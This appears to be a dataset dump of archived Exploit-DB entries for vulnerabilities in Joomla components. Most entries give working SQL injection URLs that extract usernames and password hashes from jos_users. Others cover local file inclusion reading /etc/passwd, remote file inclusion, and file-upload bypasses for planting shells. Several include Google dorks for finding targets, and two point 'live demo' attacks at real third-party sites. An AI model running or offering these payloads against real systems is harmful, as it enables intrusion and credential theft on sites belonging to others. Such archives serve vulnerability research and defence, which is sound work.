deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34159
Description: Joomla! Component Gallery XML 1.1 - SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-18
Author: jdc

Exploit:
source: https://www.securityfocus.com/bid/40964/info

The Gallery XML Joomla! component is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; by using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.


http://www.example.com/index.php?option=com_galleryxml&controller=[LFI]&task=catpics&gcatid=1
http://www.example.com/index.php?option=com_galleryxml&controller=galpic&task=catpics&gcatid=-1 union select 1,2,3,4,5,6,concat(username,char(32),password),8,9,10,11,12 from jos_users -- '
Exploit-DB #5752
Description: Joomla! Component GameQ 4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-07
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/         Joomla Component GameQ Remote SQL injection           \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id=-1 UNION SELECT 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14 FROM jos_users--

# milw0rm.com [2008-06-07]
Exploit-DB #14126
Description: Joomla! Component Gamesbox 1.0.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-30
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
 Joomla Component com_gamesbox 1.0.2 (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: June, 30-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Gamesbox
Version		: 1.0.2 Lower versions may also be affected
Vendor  	: http://www.jooforge.com/
License		: GPL
Google Dork	: inurl:com_gamesbox
Description	:

Gamesbox is the innovative component developed for Joomla™ that allows 
you to manage a real and unique portal for videogames.
----------------------------------------------------------------

Exploit:
~~~~~~~
-9999+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5,6,7,8+from+jos_users--

Poc:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_gamesbox&view=consoles&layout=console&id=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #12299
Description: Joomla! Component GBU Facebook 1.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-19
Author: kaMtiEz

Exploit:
[!]===========================================================================[!]

[~] Joomla Component GBU FACEBOOK SQL injection vulnerability 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 20 april, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.gbugrafici.nl/gbufacebook/
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.gbugrafici.nl/gbufacebook/com_gbufacebook.zip
[+] Version : 1.0.5 or lower maybe also affected


[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_gbufacebook&task=show_face&face_id=[INDONESIANCODER]

[ XpL ]

-999.9'+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--+and+'kaMtiEz'='kaMtiEz

etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,yur4kh4


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] jika kami bersama nyalakan tanda bahaya :)
[+] Ayy : Ceped sembuh bebh .. lup u :">
[+] Don Tukulesto and Acild : thanks for coming in my t0wn :D

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #11815
Description: Joomla! Component Gift Exchange com_giftexchange 1.0 Beta - 'pkg' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-20
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
joomla component Gift Exchange com_giftexchange (pkg) Remote Sql Injection
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 20 March 2010
Critical Lvl    : Moderate
Impact	        : Exposure of sensitive information
Where	        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application     : Gift Exchange 
version         : 1.0beta
Developer       : Socialable Studios
Website		: http://extensions.joomla.org/extensions/communities-a-groupware/membership/11680/visit
License         : GPL            type  : Commercial
price		: $25.00 :)
Date Added      : 20 March 2010

Download        : http://socialables.com/index.php?option=com_virtuemart&Itemid=91&category_id=28&flypage=flypage.tpl&#9001;=en&page=shop.product_details&product_id=79&vmcchk=1&Itemid=91

---------------------------------------------------------------------------


how to exploit

http://192.168.0.1/index.php?option=com_giftexchange&view=showcase&aj=package&pkg=-1union%20select%201,2,3,4,5,concat_ws(0x3a,username,password)chipD3Bi0s,1,1,1,1,1,1,1,1,1+from+jos_users+where+usertype=0x[PII_REDACTED]2041646D696E[PII_REDACTED]746F72+and+0x41646D696E[PII_REDACTED]746F72--


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #7815
Description: Joomla! Component Gigcal 1.x - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-18
Author: Lanti-Net

Exploit:
*****************************************************************************
* 					 	                            *
*           Joomla Component Gigcal SQL Injection Vulnerability             *
*                           						    *
*****************************************************************************

***************************************
[=] Vulnerability found by: Lanti-Net
[=] Contact: lanti-net[at]hotmail[dot]com
[=] Site: www.khg-crew.ws
[=] Greetz: boom3rang, KHG, urtan, H!tm@N , war_ning, chs, redc00de , SpYrO
[=]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-
***************************************
[=] Exploit  : /index.php?option=com_gigcal&Itemid=78&id={SQL}
[=] Example  : /index.php?option=com_gigcal&Itemid=78&id=-999+union+all+select+1,2,3,4,5,6,7,8,9,concat(username,char(58),password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users/*
[=] Live Demo: http://www.fermaten.dk/index.php?option=com_gigcal&Itemid=78&id=-999+union+all+select+1,2,3,4,5,6,7,8,9,concat(username,char(58),password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users/*
***************************************
[=] Proud 2 be Albanian
[=] Proud 2 be Muslim
[=] United States of Albania
***************************************

# milw0rm.com [2009-01-18]
Exploit-DB #7746
Description: Joomla! Component gigCalendar 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-13
Author: boom3rang

Exploit:
#############################################################
Joomla Component com_gigcal(gigcal_gigs_id) SQL-injection
#############################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
#[~] Vulnerability :  SQL injection 
#[~] Google Dork   :  inurl:com_gigcal
--------------------------------------------------
#[!] Name          :  GigCalendar
#[!] creationDate  :  Dec 2005 
#[!] Created by    :  Graham Spice, David Richards 
#[!] AuthorEmail   :  capt@gigcalendar.net 
#[!] Site          :  www.gigcalendar.net
#[!] Version       :  1.0
#[!] Download      :  http://joomlacode.org/gf/project/gigcalendar/frs/?action=FrsReleaseBrowse&frs_package_id=214
###################################################


[-] Example:
http://localhost/Path/index.php?option=com_gigcal&task=details&gigcal_gigs_id=[Exploit]


[-] Exploit:
'+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*


[-] LiveDemo: 
http://dromnyc.com/home/index.php?option=com_gigcal&task=details&gigcal_gigs_id=402'+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*&Itemid=37


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
#[!] Free Palestine
##############################

# milw0rm.com [2009-01-13]
Exploit-DB #48248
Description: Joomla! Component GMapFP 3.30 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-03-25
Author: ThelastVvV

Exploit:
# Exploit Title: Joomla! Component GMapFP 3.30 - Arbitrary File Upload
# Google Dork: inurl:''com_gmapfp''
# Date: 2020-03-25
# Exploit Author: ThelastVvV
# Vendor Homepage:https://gmapfp.org/
# Version:* Version J3.30pro
# Tested on: Ubuntu

# PoC:

http://127.0.0.1/index.php?option=comgmapfp&controller=editlieux&tmpl=component&task=upload_image

# you can bypass the the restriction by uploading your file.php.png , file2.php.jpeg , file3.html.jpg ,file3.txt.jpg 

# Dir File Path:

http://127.0.0.1/images/gmapfp/file.php 

or

http://127.0.0.1//images/gmapfp/file.php.png

# The Joomla  Gmapfp Components 3.x is allowing  
# remote attackers to upload arbitrary files upload/shell upload due the issues of unrestricted file uploads
Exploit-DB #49129
Description: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-12-01
Author: ThelastVvV

Exploit:
# Exploit Title: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
# Google Dork: inurl:''com_gmapfp''
# Date: 2020-03-27
# Exploit Author: ThelastVvV
# Vendor Homepage: https://gmapfp.org/
# Version:Version J3.5 /J3.5free
# Tested on: Ubuntu
# CVE: CVE-2020-23972

# Description:

An attacker can access the upload function of the application without authenticating to the application and also can upload files due the issues of unrestricted file uploads which can be bypassed by changing the content-type and name file too double extensions 

# PoC:


Version J3.5
http://127.0.0.1/index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=edit_upload

-Once the attacker can locate the unauthenticated file upload form then the attacker can bypass the restriction by changing content-type and name file double extensions file.html.gif then can open file.html

# Impact
the attacker can upload malicious files can cause defacement of the site or uploading large amount of file til causes denial of service attack to Webapp/Server

# Dir File Path:
http://127.0.0.1///images/stories/gmapfp/test.html.gif
http://127.0.0.1///images/stories/gmapfp/test.html
http://127.0.0.1///images/gmapfp/test2.html.gif
http://127.0.0.1///images/gmapfp/test2.html.gif


# Issues are fixed,Please update to Last Version
Exploit-DB #41460
Description: Joomla! Component Gnosis 1.1.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-25
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Gnosis v1.1.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_gnosis
# Date: 25.02.2017
# Vendor Homepage: http://hypermodern.org/
# Software : https://extensions.joomla.org/extensions/extension/directory-a-documentation/glossary/gnosis/
# Demo: http://gnosis.hypermodern.org/index.php/dictionary
# Version: 1.1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_gnosis&view=tags&id=[SQL]
# # # # #
Exploit-DB #14448
Description: Joomla! Component Golf Course Guide 0.9.6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-23
Author: Valentin

Exploit:
# Exploit Title: Joomla Component com_golfcourseguide SQL Injection Vulnerability
# Date: 23.07.2010
# Author: Valentin
# Category: webapps/0day
# Version: v0.9.6.0 beta, v1 beta
# Tested on: 
# CVE :  
# Code : 

[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component com_golfcourseguide SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org

[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Golf Course Guide
Vendor = Oh-Taek Im
Vendor Website = http://www.photoindochina.com/
Affected Version(s) = v0.9.6.0 beta, v1 beta
 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
http://target/
index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=[SQL Injection]

[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 23.07.2010

[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS,packetstormsecurity.org!

[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #41391
Description: Joomla! Component Google Map Store Locator 4.4 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Google Map Store Locator v4.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_googlemaplocator
# Date: 18.02.2017
# Vendor Homepage: http://matamko.com/
# Software Buy: http://matamko.com/products/google-map-store-locator/live-demo
# Demo: http://gtlocator4.demo.matamko.com/
# Version: 4.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?filter_to=a&filter_day=21-02-2017&filter_time=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc...
# # # # #
Exploit-DB #41450
Description: Joomla! Component GPS Tools 4.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-24
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component GPS Tools v4.0.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_gpstools
# Date: 24.02.2017
# Vendor Homepage: http://corejoomla.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/gps-tools/
# Demo: http://demo.corejoomla.com/tracks.html
# Version: 4.0.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# index.php?option=com_gpstools&view=search
# http://localhost/[PATH]/?list_filter=Ihsan_Sencan&list_filter_field=author&filter_all_keywords=1&filter_order=a.catid&filter_order_Dir=desc&catid[]=[SQL]
# 66+AND(SELECT+1+from(SELECT+COUNT(*),CONCAT((SELECT+(SELECT+(SELECT+DISTINCT+CONCAT(0x496873616e2053656e63616e,0x7e,0x27,CAST(schema_name+AS+CHAR),0x27,0x7e)+FROM+INFORMATION_SCHEMA.SCHEMATA+WHERE+table_schema!=DATABASE()+LIMIT+1,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),+FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1
# # # # #
Exploit-DB #12430
Description: Joomla! Component Graphics 1.0.6 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-27
Author: wishnusakti + inc0mp13te

Exploit:
 ================================================================================================

 Title    : Joomla Component graphics (com_graphics) v1.0.6 LFI Vulnerability
 Vendor   : http://htmlcoderhelper.com/
 Download : http://en.sourceforge.jp/frs/g_redir.php?m=jaist&f=%2Fjoomlagraphics%2Fcom_graphics.zip

 Date     : 27 April 2010 - GMT +07:00 Jakarta, Indonesia
 Author   : wishnusakti + inc0mp13te (HH)
 Contact  : evileyes60117[at]yahoo.com

 ================================================================================================

 [+] Vulnerable

     ./components/com_graphics/graphics.php

     // Require specific controller if requested
	if($controller = JRequest::getVar( 'controller' )) {
    	require_once( JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php' );
	}


 [+] Exploit

     http://[site]/[path]/index.php?option=com_graphics&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00

 ================================================================================================

 Very Special thanks :
     Penghuni #nob0dy priv8 Server
     (ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, cheche angela zhang, madonk, & Bot² Scan :D)
 
     en Semua Komunitas Hacking Tanah Air
     Peace Yo :)

to all my friends : mywisdom, aurell, hafiz, xco, kiddies, xshadow, gblack, petimati, 
                    cakill, krembis, biakkobar, hendri_note, xshadow, local_disaster, pradipta yoarsa


 ================================================================================================

# ./wishnusakti #.inc0mp13te
Exploit-DB #41380
Description: Joomla! Component Groovy Gallery 1.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-17
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Groovy Gallery v1.0.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_groovygallery
# Date: 17.02.2017
# Vendor Homepage: http://addonstreet.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/groovy-gallery/
# Demo: http://addonstreet.com/products/groovy-gallery
# Version: 1.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_groovygallery&view=images&filter_category=[SQL]
# http://localhost/[PATH]/index.php?option=com_groovygallery&view=images&groovy_category=[SQL]
# # # # #
Exploit-DB #9840
Description: Joomla! Component GroupJive 1.8 B4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-22
Author: M3NW5

Exploit:
#############################################################
Joomla Component groupjive 1.8 B4 RFI Vulnerability
#############################################################
Author	 : M3NW5
Homepage : http://www.indonesiancoder.com
contach  : m3nw5@hackermail.com
Location : INDONESIA
#############################################################
Achievo 1.3.4 Information
#############################################################
Vendor	 : http://www.groupjive.org/
Scripts  : http://forge.joomlapolis.com/projects/list_files/groupjive
File	 : helpers.php
	   include_once ( $absolute_path . '/components/com_groupjive/compat/array_combine.php' );
Exploit	 : http://target.com/components/com_groupjive/helpers.php?absolute_path=<deviL>
#############################################################
thenqyu	 : IndonesianCoder.SurabayaHackerLink.ServerIsDown.Kill-9
	   Don Tukulesto.KaMtiEz.Vyc0d.Arianom.Denbayan.mistersaint
	   gonzhack.cyb3r_tr0n.m364tr0n.
	   YogyaCarderLink.v3n0m
#############################################################
Exploit-DB #41495
Description: Joomla! Component Guesser 1.0.4 - 'type' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-02
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Guesser v1.0.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_guesser
# Date: 02.03.2017
# Vendor Homepage: http://www.bitsgeo.com/
# Software: https://extensions.joomla.org/extensions/extension/marketing/guesser/
# Demo: http://www.bitsgeo.com/guesson/
# Version: 1.0.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/guessers?type=[SQL]
# 'and(select+1+from+(select+count(*),concat((select(select+concat(cast(database()+as+char),0x3c3c3c,0x7e,0x496873616e2053656e63616e))+from information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables group+by+x)a)+AND+'Ihsan'='Sencan
# # # # #
Exploit-DB #40111
Description: Joomla! Component Guru Pro - 'Itemid' SQL Injection
Type: webapps
Platform: php
Date: 2016-07-14
Author: s0nk3y

Exploit:
# Exploit Title: Joomla Guru Pro (com_guru) Component - SQL Injection
# Exploit Author: s0nk3y
# Date: 14/07/2016
# Vendor Homepage: https://www.ijoomla.com
# Software Link: https://www.ijoomla.com/component/digistore/products/47-joomla-add-ons/119-guru-pro/189?Itemid=189
# Category: webapps
# Version: All
# Tested on: Ubuntu 16.04

1. Description

Turn your knowledge into dollars! Sell Your Courses Today!

Guru, allows you to create online courses easily! We believe that everyone is an expert in something. If you know something that others don't, there is no better time to profit from it. You can create a course about your topic and start generating income.

2. Proof of Concept

Itemid Parameter Vulnerable To SQL Injection

com_guru&view=gurupcategs&layout=view&Itemid=[SQL Injection]&lang=en

Demo :
http://server/index.php?option=com_guru&view=gurupcategs&layout=view&Itemid=123%27&lang=en